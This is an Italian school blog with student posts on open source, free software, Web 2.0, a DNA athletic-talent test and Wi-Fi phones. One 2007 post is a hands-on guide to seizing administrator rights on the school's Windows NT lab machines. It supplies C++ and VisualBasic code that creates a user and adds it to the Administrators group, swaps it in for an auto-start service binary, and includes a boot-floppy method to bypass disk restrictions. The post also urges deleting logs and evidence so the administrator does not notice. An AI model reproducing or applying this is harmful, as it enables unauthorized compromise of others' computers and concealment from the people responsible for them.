brotzu school

spazio riservato al libero scambio di idee, pensieri e parole

Programmi Open Source: chi sono costoro?

24/05/2006

Ultimamente sono in aumento sui nostri computer diversi programmi ottenuti da distribuzione gratuita detti programmi "open source". Vediamo di scoprire qualcosa in più su questi programmi.
Certamente tutti hanno sentito parlare di programmi come eMule, Netscape e Firefox o addirittura dell’intero sistema operativo Linux. Lo stesso ormai famosissimo motore di ricerca Google abbraccia seppure in maniera un po’ particolare nel suo sviluppo questa innovativa "filosofia" informatica. I programmi open source, ovvero sorgente (inteso come CODICE sorgente, il codice che viene scritto per creare qualsiasi programma) aperto, si basano sullo stesso principio dei programmi freesoftware nati negli anni ’70, anche se "ribattezzati" solo nel 1998. Questi programmi, oltre ad avere la particolarità di essere distribuiti gratuitamente, fattore che ne ha consentito una rapidissima diffusione, sono distribuiti accompagnati ai codici sorgenti consentendone quindi la visione e la modifica: è grazie a questa particolarità che i programmi opensource hanno uno sviluppo rapido e sono disponibili versioni sempre migliori e comode, in quanto sono gli utenti stessi a fare le modifiche che a parer loro rendono il programma più efficiente e maneggevole. Non tutti gli sviluppatori (o le aziende dove lavorano) creano programmi open source gratuitamente o per rendere semplicemente un servizio e aumentare il prestigio personale. Esistono infatti alcune aziende che rendono disponibile gratuitamente solo alcune porzioni di codice, o che, fatto ancora più diffuso, distribuiscono una versione gratuita (talvolta alquanto elementare) ma mettono a disposizione anche una versione migliore sotto diversi aspetti, stavolta a pagamento. Con questo metodo riescono a procurarsi i fondi necessari a uno sviluppo migliore e più rapido. Esistono infatti versioni dei programmi ad uso personale, distribuiti gratuitamente, e versioni ad uso aziendale (che consentono all’utente l’utilizzo sul lavoro e quindi di guadagnare grazie a questi programmi) distribuite dietro pagamento.
Esistono programmi Open Source di svariati tipi, dai browser (firefox) ai programmi per scaricare (eMule), ai sistemi gestionali, ai pacchetti di applicativi per i lavori di segreteria (open office), agli ambienti di sviluppo (open Java), ai programmi di grafica e altri ancora. È interessante procurarsi alcuni di questi programmi per rendersi conto di come la modifica del sorgente risolva difetti di utilizzo ed eventuali errori (i cosiddetti "bug") presenti in quasi tutti i programmi distribuiti in automatico SOTTO PAGAMENTO con l’acquisto di nuovi computer dalle grandi case produttrici.
Diego Marci

 

Come bucare un sistema Windows NT.

16/02/2007

Quante volte vi è capitato di usare il computer e di non poter installare nuovi programmi, non avere accesso a determinate cartelle e non avere la totale libertà di muovervi dentro il sistema Windows?
Ora starete sicuramente pensando ai computer della scuola vero? Eh si, infatti Singor Gino si è preoccupato di darci i nomi utente e le relative password di utenti limitati, ma chi sarà la mente suprema che governa tutti i computer del laboratorio del primo piano? Ovviamente lui! Probabilmente non ci sarà solo un utente amministratore, forse ce ne saranno due, forse tre, fatto sta che leggendo queste righe spiegherò in breve come riuscire a trasformare il vostro utente LIMITATO in un potente AMMINISTRATORE di sistema.
Non ci credete? Il sistema è provato è funziona (non ancora sul computer della scuola, penso che se lo faccio io se la sgammano di brutto), ora, quello che dovete fare per prima cosa è avere l’accesso fisico al computer (lo dovete avere davanti insomma), poi bisogna munirsi di un compilatore C++ o VisualBasic, infine, non obligatorio ma sempre utile sarebbe un disco floppy con i file BOOT di Windows e uno con i driver NTFS.
il primo passo è abbastanza facile, una volta entrati con il vostro povero utente limitato andate su start, esegui e digitate dcomcnfg, ora selzioniamo servizi e ci apparirà l’elenco dei programmi attivi sul computer in uso, cerchiamone uno il cui tipo di avvio sia selezionato in automatico (un antivirus andrà benissimo), segnatevi su un pezzo di carta a parte il percorso del programma (vi servirà in futuro).
Ora si dividono le acque, se preferite usare il compilatore C++ usate questa procedura: lanciate (in senso tecnico) il programma C++ (il compilatore) e create un nuovo file "cpp" e inseriteci queste righe di codice:
#include <process.h>
main ()
{
system("net user NomeUtente Password /add");
system("net localgroup Administrators NomeUtente /add");
system("net localgroup Users NomeUtente /delete");
return 0;
}
Al posto di nomeutente mettete il vostro nome utente e al posto di password la relativa password (vale per tutte e tre le righe), non modificate le altre parole e simboli, dopo aver compilato tutto recuperate il file eseguibile salvato e tenetelo da parte.
Ora passiamo a VisualBasic, la procedura è ancora più semplice, creiamo una form e dopo facciamo doppio click su se stessa, ci apparirà la schermata codice, compiliamo le seguenti righe secondo il criterio prima descritto.
Form1.Visible = False
Call Shell ("net user NomeUtente Password /add", vbMinimizedNoFocus)
Call Shell ("net localgroup Administrators NomeUtente /add", vbMinimizedNoFocus)
Call Shell ("net localgroup Users NomeUtente /delete", vbMinimizedNoFocus)
End
Teniamo da parte anche questo eseguibile, ora viene la parte un po’ più complicata; andiamo a sostituire il percorso del programma di servizio prescelto con il percorso creato da VB o da C++, poi posizionamoci nella cartella di destinazione e rinominiamo il file del servizio, una volta fatto copiamo il nostro eseguibile e rinominiamolo con lo stesso neme del servizio precedente (quello rinominato prima), ora non ci resta che spegnere il computer con la normale procedura.
Quando lo riaccenderemo il nostro utente con la nostra password apparterranno alla ristretta classe amministratice del computer!
Ricodiamoci di far sparire tutte le prove e di ripristinare il servizio sospeso in precedenza (quello che abbiamo rinominato), e inoltre facciamo sparire anche il nostro bel programmino così Signor Gino non si accorge di niente, cancellate anche i file di log per essere più sicuri.
Troppo semplice vero? In effetti si, sicuramente la mente diabolica del sovrano dell’aula d’informatica avrà messo qualche restrinzione sulla scrittura su disco rigido, in tal caso tiriamo fuori il dischetto BOOT (va bene anche quello per l’avvio di windows), inoltre occorre utilizzare i driver NTFS Pro , scaricabili da http://www.winternals.com.
Ora riavviate il computer, avviate il sistema tramite il floppy Boot e usate NTFSPRO per ripetere l’operazione sopra indicata agendo però sul prompt dei comandi, ora sapete come tenere in pugno qualsiasi sistema NTFS, divertitevi e non fatevi sbiccare!!!
Alessandro Tanca 2E

Il Software Libero. Chi è costui?

07/10/2008

                                                   Che cosa è il Software libero?
Per capirlo basta pensare un po’. La maggior parte del software libero è gratuito (non tutto). Sono dei programmi per computer (siano essi PC, Mac o Linux) rilasciati sono una licenza GNU¹.
Le “libertà” che deve avere un programma per far parte del Software Libero sono:
⦁ Libero di utilizzo per qualsiasi scopo;
⦁ Libertà di studiare come funziona il programma e adattarlo alle proprie necessità. L’accesso al codice sorgente ne è un prerequisito;
⦁ Libertà di ridistribuire copie in modo da aiutare il prossimo;
⦁ Libertà di migliorare il programma e distribuirne pubblicamente i miglioramenti, in modo tale che tutta la comunità ne tragga beneficio. Di nuovo l’accesso al codice sorgente ne è un prerequisito.
Un software si può definire libero quando detiene tutti e quattro i punti sopracitati, e soprattutto, quando può ridistribuire il programma senza dover chiedere un consenso a nessuno.
Altro punto importante è quello della libertà di “modificazione”. L’utente può modificare il programma a suo piacimento, e se vuole pubblicare il software modificato, non deve chiedere il consenso a nessuno. Il “software libero” può anche essere a pagamento, ma il codice sorgente rimane comunque libero.
Esempi di programmi che fanno parte del “Software Libero” sono:
Gimp usato per l’elaborazione di immagini
 
e
Gnome ambiente desktop usato in SO (SO = Sistema Operativo ndr) linux.
 
1 GNU è l’acronimo di Gnu Not Unix
Mattia Nocerino

 

Web 2.0

12/10/2008

La diffusione della banda larga e delle connessioni flat, hanno portato ad un utilizzo più intenso delle risorse in Internet e allo sviluppo di forme collaborative, partecipative e alla condivisione di risorse ed esperienze, al cosi detto Web 2.0. Il Web 2.0 è una nuova visione di Internet che ha appena cominciato ad influenzare il vostro modo di lavorare ed interagire con le informazioni in rete. Web 2.0 non è un software specifico, nè un marchio registrato dai Microsoft o Google, ma un un insieme di approcci per usare la rete in modo nuovo e innovativo.
Web 2.0 si riferisce alle tecnologie che permettono ai dati di diventare indipendenti dalla persona che li produce o dal sito in cui vengono creati. L’informazione può essere suddivisa in unità che viaggiano liberamente da un sito all’altro, spesso in modi che il produttore non aveva previsto o inteso. Ora i protagonisti della rete siamo diventati noi. Questà novità è un prodotto open-source, che permette di condividere le informazioni sulle quali è stato creato Internet e rende i dati più diffusi. Questo permette nuove opportunità di lavoro e di informazioni che possono essere costruite sopra le informazioni precedenti.
Riassumendo il web 2.0 si basa su:
- Partecipazione
- Coinvolgimento
- Collaborazione
- Condivisione
- Relazione
Per questo nel Web 2.0 Si parla di SOCIAL NETWORK, per definire un nuovo sistema di relazioni virtuali, quanto reali, che oggi è necessario considerare nelle strategie di marketing on line. Una nuova era per Internet? Per qualcuno si, ma più probabilmente un’evoluzione naturale di un potente strumento che si trasforma molto velocemente.
Un esempio di siti che formano il web 2.0 sono: google, youtube, DivShare, Meebo, MySpace, e tanto altri con funzioni diverse tra di loro.
Perciò posso concludere utilizzando le parole di Chad Hurley (Co-founder, YouTube)
“Ognuno ha l’intimo desiderio di sentirsi una Star”!

 

I "PROGRESSI DELLA SCIENZA: basta un esame del DNA per sapere se il proprio bambino diventerà un campione sportivo

05/12/2008

"Da grande voglio fare il calciatore!".
Quando un bambino fa una richiesta del genere ai genitori non resta altro che comprare un pallone, degli scarpini e magari contattare una scuola calcio. Oggi però i genitori possono sapere se il proprio figlio è destinato o meno a diventare un campione grazie ad un test dal costo minimo di 149 dollari.
Arriva dal Colorado (USA) il test del Dna che consente di conoscere qual è la propensione atletica naturale del proprio bambino. Si chiama Atlas, come la divinità greca Atlante simbolo di forza e resistenza. Questo test consiste nell’analizzare il gene ACTN3, riconosciuto già dal 2003 come uno dei geni responsabili di alcune capacità atletiche dell’uomo.
E’ possibile anche richiedere il test online direttamente sul sito dell’Atlas: i genitori riceveranno a casa il kit per il prelievo del Dna. Il processo è semplice: basta passare l’apposito tampone all’interno della guancia del bambino e sopra l’arcata gengivale. Successivamente il tampone viene rispedito all’azienda che si occupa di analizzare i dati e di spedire una risposta alla famiglia nel giro di due settimane.
I test sono divisi in tre categorie: quelli per bambini di età superiore ad un anno (dal costo di 149 $), quelli per bambini dai sette anni in su (249 $), e quelli per ragazzi sopra ai dieci anni (999 $). Infatti più è grande il bambino, più è difficile analizzare il gene ACTN3.
Aldilà delle conclusioni di carattere morale, come ad esempio spiegare ad un bambino che il suo Dna consiglia di mettere nel cassetto il sogno di diventare calciatore per abbracciare invece una carriera da ciclista, la stessa società mette i clienti sull’attenti: il test non è infallibile ma può servire a orientare i giovani all’attività sportiva.
Molti studiosi invece ritengono che questo test sia l’ultima truffa della pseudo scienza.
Sara Farris
 

Telefoni wifi: l’arrivo dell’era delle chiamate gratis

08/11/2009

Già dal lontano 2005 nei vari blog sulla comunicazione si iniziò a parlare dei "cellulari Wifi" come rivoluzione del modo di parlare quando lontani da casa. Infatti il cellulare tradizionale a partire dalla fine degli anni "90 è stato uno degli strumenti tecnologici più diffuso e usato in tutto il mondo sviluppato, per via della sua elevata comodità che permette tramite uno strumento di pochi centimetri di poterci collegare in tempo reale con qualsiasi telefono o persona si desiderasse, senza l’inconveniente di cercare una cabina telefonica. Nei dieci anni della sua storia il cellulare è passato da strumento grande e pesante con antenna "chilometrica" a essere di tutte le diverse misure, forme, colori e funzioni. I cellulari oggi possono offrire una serie di servizi complementari, come fotocamera, lettore musicale, agenda, calcolatrice e tanto altro. L’iniziativa di utilizzare il segnale Wifi, utilizzato finora nei cellulari di ultima generazione per collegarsi a internet, è mirata a ridurre i costi delle chiamate e messaggi verso tutti i telefoni e renderle gratuite verso i numeri di rete fissa nazionale e altri cellulari Wifi, noti anche come Wiphone. Il problema che si aveva nel 2006 era legato al fatto che per comprarsi un wiphone bisognava rinunciare al vecchio modo di chiamare limitando l’utilizzo dell’aparecchio nelle sole zone coperte dalla rete, che oltre ad essere parecchio limitata, rendeva sconveniente l’acquisto di tale telefono visto il costo di 200€ comprandolo da uno dei primi operatori del settore, Skype. Adesso la maggior parte dei cellulari nuovi sono tutti dotati di collegamento Wifi che permette di passare dalle onde radio a quelle wifi a propio piacimento, per dare miglior scelta all’utente. Di recente anche Tiscali si è aggiunto tra i vari operatori che gestiscono il servizio di chiamate wifi, tra cui Opera Skype e molti altri, che funzionano tutti con un programma apposito scaricabile da internet, tramite il quale si chiama e si mandano messaggi. L’unico problema è che per ora la copertura è limitata a gli aeroporti, alcuni posti pubblici, certi bar e locali privati ma Tiscali sta lavorando per creare una copertura più estensiva della sua rete con l’obbiettivo entro il 2010 di coprire tutta l’area del centro storico di Cagliari. In un futuro forse le chiamte e i messaggi come gli intendiamo noi faranno parte della storia della telecomunicazione, lascinado campo libero ai wiphone e alle chiamate tramite internet che col risparmio batteranno la concorrenza dei mezzi a cui siamo abituati. Per maggiori informazioni consultate il sito Tiscali dedicato ai wiphone, http://wiphone.tiscali.it/
Alex Maxia